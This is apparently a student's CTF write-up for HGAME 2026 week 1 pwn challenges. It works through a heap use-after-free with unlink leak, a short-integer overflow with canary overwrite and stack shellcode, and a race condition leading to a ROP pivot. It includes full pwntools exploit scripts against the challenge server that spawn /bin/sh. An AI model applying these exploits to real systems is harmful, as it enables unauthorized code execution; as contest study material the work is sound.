week1
pwn
Heap1sEz
Heap is easy :)
?源代码都给我了
不急,先把pwn.college搞了
ok,pwn.college 的DAM搞完了

给的libc是2.35的
看看保护

ok




通过gift函数可以输入一个hook(%p,16进制的地址)


经典的UAF
我们看看hook有什么用
main.c中没找到,看看malloc.c

hook初始为NULL


*hook是解引用,跳转到hook指向的addr执行命令
(*mem)同理
(mem)是将变量mem的value传入第一个参数寄存器(rdi)
obviously, the mem is the value of free chunk
we could make hook pointer to system and insert “/bin/sh” in where mem pointer to .
well, but how to leak libc_base?
malloc 0 and then malloc 1,delete 0 ,show 0(avoiding chunk 0 be combined with chunk Top)

good,get leak_addr

in .bss, fill the tcache frist

0~6 to fill the tcache ,7 to get the addr, 8 to protect the 7

fault
back thinking
the function malloc and free are defined functions
not called in libc,so we can only get the .bss addr
let’s take another way

maybe we can utilize puts to leak puts’s addr

the plt and the leak_addr are in the same page



good ,wait,that’s not real puts_addr、
error
lets’s back to the source code

maybe we can reset the value of notes[index] to puts’s got

at the unlink_chunk function
| 偏移 (Offset) |
字段名称 |
说明 |
| 0x00 |
<font style="color:rgb(68, 71, 70);">prev_size</font> |
前一个 chunk 的大小(如果前块空闲) |
| 0x08 |
<font style="color:rgb(68, 71, 70);">size</font> |
当前 chunk 的大小 |
| 0x10 |
<font style="color:rgb(68, 71, 70);">fd</font> (Forward Pointer) |
指向链表中下一个 chunk 的开头 |
| 0x18 |
<font style="color:rgb(68, 71, 70);">bk</font> (Backward Pointer) |
指向链表中前一个 chunk 的开头 |
| 执行阶段 |
**ptr 的值 (即 target_addr)* |
备注 |
| 初始状态 |
<font style="color:rgb(68, 71, 70);">P</font> (堆块地址) |
正常指向堆块 |
执行 **<font style="color:rgb(68, 71, 70);">fd->bk = bk</font>** |
<font style="color:rgb(68, 71, 70);">&ptr - 0x10</font> |
<font style="color:rgb(68, 71, 70);">ptr</font> 指向了自己前面 16 字节处 |
执行 **<font style="color:rgb(68, 71, 70);">bk->fd = fd</font>** |
<font style="color:rgb(68, 71, 70);">&ptr - 0x18</font> |
<font style="color:rgb(68, 71, 70);">ptr</font> 最终指向了自己前面 24 字节处 |
ok,there is no tcache in this challenge,tcache is in the ptmalloc(in glibc)
we can utilize the unlink_chunk function to leak the libc_base_addr

a pointer which saved the real addr of puts in glibc

the notes is at 0x3880
all right , when edit(note-0x18),we should show(0)


原来是要sleep


主要是这部分逻辑不一样,左边是官方的,这样就不用sleep了

但本地测试我写的和官方的都过不了
基本确定是环境问题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| In [21]: from pwn import * ...: context.binary = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Heap1sEz/vuln',checksec = False) ...: #io = process('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Heap1sEz/vuln') ...: io = remote("forward.vidar.club",30181) ...: libc = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Heap1sEz/libc.so.6',checksec = False) ...: context.log_level = 'debug' ...: def add(index,size): ...: io.recvuntil(b'>') ...: io.sendline(b'1') ...: io.recvuntil(b'Index: ') ...: io.sendline(str(index).encode()) ...: io.sendline(str(size).encode()) ...: def delete(index): ...: io.recvuntil(b'>') ...: io.sendline(b'2') ...: io.recvuntil(b'Index: ') ...: io.sendline(str(index).encode()) ...: def show(index): ...: io.recvuntil(b'>') ...: io.sendline(b'4') ...: io.recvuntil(b'Index: ') ...: #sleep(0.1) ...: io.sendline(str(index).encode()) ...: def edit(index,context): ...: io.recvuntil(b'>') ...: io.sendline(b'3') ...: io.recvuntil(b'Index: ') ...: io.sendline(str(index).encode()) ...: io.send(context) ...: #add(0,30) ...: #for i in range (7): ...: # add(i,30) ...: #for i in range (7): ...: # delete(i) ...: add(2,8) ...: add(3,8) ...: delete(2) ...: delete(3) ...: show(2) ...: #io.recvuntil(b'Index: 0') ...: sleep(0.1) ...: #io.recvuntil(b'\n') ...: #io.recv(1) ...: leak_addr = u64(io.recv(6).ljust(8,b'\x00')) ...: print("leak_addr: ",hex(leak_addr)) ...: pie_base = leak_addr - 0x3808 ...: print("pie_base: ",hex(pie_base)) ...: #puts_addr = u64(io.recv(6).ljust(8,b'\x00')) ...: note = pie_base +0x3880 ...: puts_got_addr = pie_base+0x3768#context.binary.got['puts'] ...: #io.interactive() ...: #show(10) ...: sleep(0.1) ...: add(0,0x10) ...: add(1,0x10) ...: delete(7) ...: edit(0,p64(note-0x18)+p64(puts_got_addr)) ...: delete(1) ...: #io.interactive() ...: show(0) ...: #delete(3) ...: #io.interactive() ...: #show(2) ...: puts_addr = u64(io.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))#u64(io.recv(6).ljust(8,b'\x00')) ...: ...: print("puts_addr: ",hex(puts_addr)) ...: libc_base = puts_addr - libc.sym["puts"] ...: print("libc_base: ",hex(libc_base)) ...: sys_addr = libc_base + libc.sym["system"] ...: add(6,8) ...: edit(6,b"/bin/sh") ...: sleep(0.3) ...: io.sendline(b"6") ...: sleep(0.8) ...: io.sendlineafter(b"give me a hook\n",hex(sys_addr)) ...: sleep(0.5) ...: delete(6) ...: sleep(0.1) ...: io.interactive()
|

adrift
Would you be my guiding star?

好
看来是能在stack上执行shellcode

手动搞了个canary
放在rbp-0x10

integer overflow
v6是__int 16(short)
short range is -32768~32767

看看case0

buf只有125*8=1000,而这里可以read0x410,存在overlfow,buf在rbp-0x3fa结束
0x410-0x3fa = 22
可以overwrite canary and ret
memset(buf, 0, sizeof(buf));会清空buf的内容
看看case1

v1为正时【0,200】取模结果正常
v1可为负

可以通过case2打印addr

dis数组在这

canary is here
0x44060-0x4060=0x40000 = 262144
-32768*8=262144


看看case3


%lu (8 字节无符号长整型)

check canary
canary没问题的话main函数进入ret
总结一下
这道题的index取反对-32768无效,~0x8000=0x7fff,0x7fff+1=0x8000

canary 就是init_canary的[rbp-0x8]
case2 可以show canary,我们同时也得到的是init_canary的栈地址
case3可以改main上的canary

case4时会将main上的rbp - 0x10的value mov 进rdx寄存器,push rdx and pop rdi
将canary(rbp - 0x10) 改成/bin/sh
ret addr overwrite by the shellcode’s start addr


leak addr


buf 从rbp-0x400+0x6=rbp-0x3fa开始



覆盖对了,但多了一byte,最后会error
可以看到shellcode只有7字节
试试把 Shellcode (7字节) 放在 [rbp-0x8],/bin/sh\x00 放在 [rbp+0x0]


好

远程也过了
你入侵了 SERN 的服务器, 该怎么找到他们的最高机密文件呢

??
Producer and Consumer
Can you find the decomposer in the system?
条件竞争问题
ida就找不到main函数,pwndbg动调
不是heap,但也能写一下

no canary
no pie
我们进到main函数当中

1 2 3 4 5 6 7 8 9 10 11
| 0x401826 mov edx, 8 ; 参数 3:初始值 = 8 0x40182b mov esi, 0 ; 参数 2:pshared = 0 (进程内私有) 0x401830 mov edi, 0x4041a0 ; 参数 1:信号量地址 0x401835 call sem_init@plt 初始化一个初始值为 8 的信号量 缓冲区最初有 8 个空位。生产者每生产一个数据,这个值减 1;如果值为 0,生产者阻塞 0x40183a mov edx, 0 ; 参数 3:初始值 = 0 0x40183f mov esi, 0 ; 参数 2:pshared = 0 0x401844 mov edi, 0x4041c0 ; 参数 1:信号量地址 0x401849 call sem_init@plt 初始化一个初始值为 0 的信号量,缓冲区最初没有数据。消费者每消费一个数据,这个值减 1;如果值为 0(没东西可吃),消费者阻塞
|


看看

给了saved在rbp-0x10处的heap地址

将leak_heap_addr 的offset0x1800处作为 生产者的共享缓冲区
打印个表

scanf一个数到rbp-0x2c
1 2 3 4 5 6 7
| 0x401785 mov edi, 8 0x40178a call malloc@plt ; 为输入数据分配 8 字节空间 ... 0x4017b8 call read@plt ; 从 stdin 读取 8 字节数据 ... 0x4017c8 mov edx, 0x4013b6 ; 线程入口函数:producer_func 0x4017d5 call pthread_create@plt ; 启动生产者线程
|

这个IDA出来的就算完整了,伪c的可读性还是比汇编高多了
1 2 3 4 5 6 7
| if ( n3 == 1 ) { buf = malloc(8uLL); // 为生产的数据分配一个小堆块 write(1, "input the data you want to produce:", 0x23uLL); read(0, buf, 8uLL); // 读取 8 字节用户输入 pthread_create(&newthread, 0LL, start_routine, buf); // 创建新线程 }
|
1 2 3 4
| else if ( n3 == 2 ) { pthread_create(&newthread_, 0LL, start_routine, 0LL); // 创建消费者线程 }
|
—————————————————————————————-
1 2
| int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg);
|
| 参数 |
传入值 |
详细解释 |
**<font style="color:rgb(68, 71, 70);">thread</font>** |
<font style="color:rgb(68, 71, 70);">&newthread</font> |
输出参数。指向 <font style="color:rgb(68, 71, 70);">pthread_t</font> 类型变量的指针。函数执行成功后,新线程的 ID(TID)会被写入这个地址。在二进制层面,这通常是一个位于栈上或 Data 段的 8 字节空间。 |
**<font style="color:rgb(68, 71, 70);">attr</font>** |
<font style="color:rgb(68, 71, 70);">0LL</font> (NULL) |
线程属性。<font style="color:rgb(68, 71, 70);">0LL</font> 等价于 <font style="color:rgb(68, 71, 70);">NULL</font> ,表示使用默认属性。默认属性包括:线程是可汇合的(joinable)、拥有默认大小的栈(通常是 8MB)、调度策略由系统决定等。 |
**<font style="color:rgb(68, 71, 70);">start_routine</font>** |
<font style="color:rgb(68, 71, 70);">start_routine</font> |
新线程的入口函数。这是一个函数指针,新线程启动后会直接跳转到这里执行。它的签名必须是 <font style="color:rgb(68, 71, 70);">void *func(void *)</font> 。 |
**<font style="color:rgb(68, 71, 70);">arg</font>** |
<font style="color:rgb(68, 71, 70);">buf</font> |
传递给入口函数的参数。<font style="color:rgb(68, 71, 70);">buf</font> 的地址会作为唯一参数传递给 <font style="color:rgb(68, 71, 70);">start_routine</font> 。在 x64 调用约定下,<font style="color:rgb(68, 71, 70);">buf</font> 的值会被放入 RDI 寄存器传递给目标函数。 |


我再看看汇编

还是先看看ida吧

检查完之后立即解锁
在进入 <font style="color:#DF2A3F;">if</font> 分支后,其他线程可能会修改 <font style="color:#DF2A3F;">n7</font> 的值


消费者,没竞争问题,清理垃圾数据用的
回归生产者
1 2 3 4 5 6 7 8 9
| sem_wait(&sem); pthread_mutex_lock(&mutex); if ( n7 <= 7 ) { pthread_mutex_unlock(&mutex); sleep(1u);
|
1 2 3 4 5 6
| v2[0] = 0; v2[1] = 1; v2[2] = 2; v2[3] = 3; v2[4] = 4; pthread_mutex_lock(&mutex_); seconds = v2[dword_404100]; dword_404100 = (dword_404100 + 1) % 5; pthread_mutex_unlock(&mutex_); sleep(seconds);
|
这里得sleep(5)保证每个线程都跑完
1 2 3 4
| v2[8] = n7; *(_QWORD *)((char *)src + 8 * n7 % 80) = *(_QWORD *)ptra; free(ptra);
|

啊吧啊吧

1 2 3 4 5 6
| sleep(1u); pthread_mutex_lock(&mutex); n7 = (n7 + 1) % 11; pthread_mutex_unlock(&mutex); sem_post(&sem_); }
|
% 11 意味着 n7 最大可以变成 10
n7在sub_4016D4中定义

find n7

main中的参数只有0x40=64byte
看看memcpy

n7变成10
64+8+8=80bytes
发送 3 退出菜单。
程序回到 main 函数,执行 memcpy(rbp-0x40, src, n7 * 8)
正好覆盖main_ret
主要漏洞点:
1 2 3 4 5 6
| if ( n7 <= 7 ) { pthread_mutex_unlock(&mutex); sleep(1u); n7 = (n7 + 1) % 11; }
|
n7可以突破<=7的限制
整理思路
先leak puts’s real addr ,pivot,然后ret main ,get shell

buf_start = v5(leak_addr)+0x1800(6144)



sleep要大于4s

这里要调试出offset



ni 4

ret进binsh\x00了
再-8*2

经过官方wp的对照实验,我得多加几个sleep

成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| In [1]: from pwn import * ...: #io = remote("forward.vidar.club",31709) ...: context.binary = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln',checksec = ...: False) ...: elf = ELF("/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln") ...: #io = process('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln') ...: #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") ...: libc = ELF("/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/libc-2.31.so") ...: io = remote("forward.vidar.club",31618) ...: context.log_level = 'debug' ...: def pro(context): ...: io.sendlineafter("input your choice>>",b'1') ...: io.sendlineafter("input the data you want to produce:",context) ...: #sleep(4.1) ...: def con(): ...: io.sendlineafter("input your choice>>",b'2') ...: io.recvuntil(b'a gift for you:') ...: addr_leak = int(io.recv(10),16) ...: print("addr_leak: ",hex(addr_leak)) ...: #pause() ...: ret_addr = 0x40101a ...: leave_addr = 0x4015a1 ...: pop_rdi = 0x401963 ...: main_addr= 0x40181a ...: buf_start = addr_leak +0x1800 ...: puts_plt = elf.plt['puts'] ...: puts_got = elf.got['puts'] ...: print("buf_start: ",hex(buf_start)) ...: print("ret_addr: ",hex(ret_addr)) ...: print("main_addr: ",hex(main_addr)) ...: print("buf_start: ",hex(buf_start)) ...: print("leave_addr: ",hex(leave_addr)) ...: ...: pro(b'\x00'*8)#fake rbp ...: sleep(5) ...: #pro(p64(ret_addr)) ...: #sleep(5) ...: pro(p64(pop_rdi)) ...: sleep(5) ...: pro(p64(puts_got)) ...: sleep(5) ...: pro(p64(puts_plt)) ...: sleep(5) ...: pro(p64(main_addr)) ...: sleep(5) ...: pro(p64(0)) ...: sleep(5) ...: pro(p64(1)) ...: sleep(5) ...: for i in range (7): ...: con() ...: sleep(1) ...: #pause() ...: pro(b'aaaaaaaa') ...: pro(p64(buf_start)) ...: pro(p64(leave_addr)) ...: io.recvuntil(b'Data 9 has been produced.') ...: sleep(1) ...: io.sendline(b"3") ...: io.recvuntil(b'aaaaaaaa') ...: ...: puts_addr = u64(io.recv(6).ljust(8, b'\x00'))#u64(io.recv(6).ljust(8,b'\x00')) ...: print("puts_addr: ",hex(puts_addr)) ...: libc_base = puts_addr - libc.sym["puts"] ...: sys_addr = libc_base + libc.sym["system"] ...: binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) ...: payload = p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr) ...: pro(b'llllllll') ...: sleep(5) ...: pro(p64(ret_addr)) ...: sleep(5) ...: pro(p64(pop_rdi)) ...: sleep(5) ...: pro(p64(binsh_addr)) ...: sleep(5) ...: pro(p64(sys_addr)) ...: sleep(5) ...: for i in range (2): ...: pro(b'10101010') ...: sleep(5) ...: for i in range (7): ...: con() ...: sleep(0.5) ...: pro(b'kkkkkkkk')#fake rbp ...: pro(p64(buf_start-32)) ...: pro(p64(leave_addr)) ...: io.recvuntil(b'Data 9 has been produced.') ...: sleep(1) ...: pause() ...: io.sendline(b'3') ...: #pause() ...: io.interactive()
|

week2
Diary keeper

glibc 2.35

这才是正统heap

add,del,show,exit
IONOSTREAM
gosick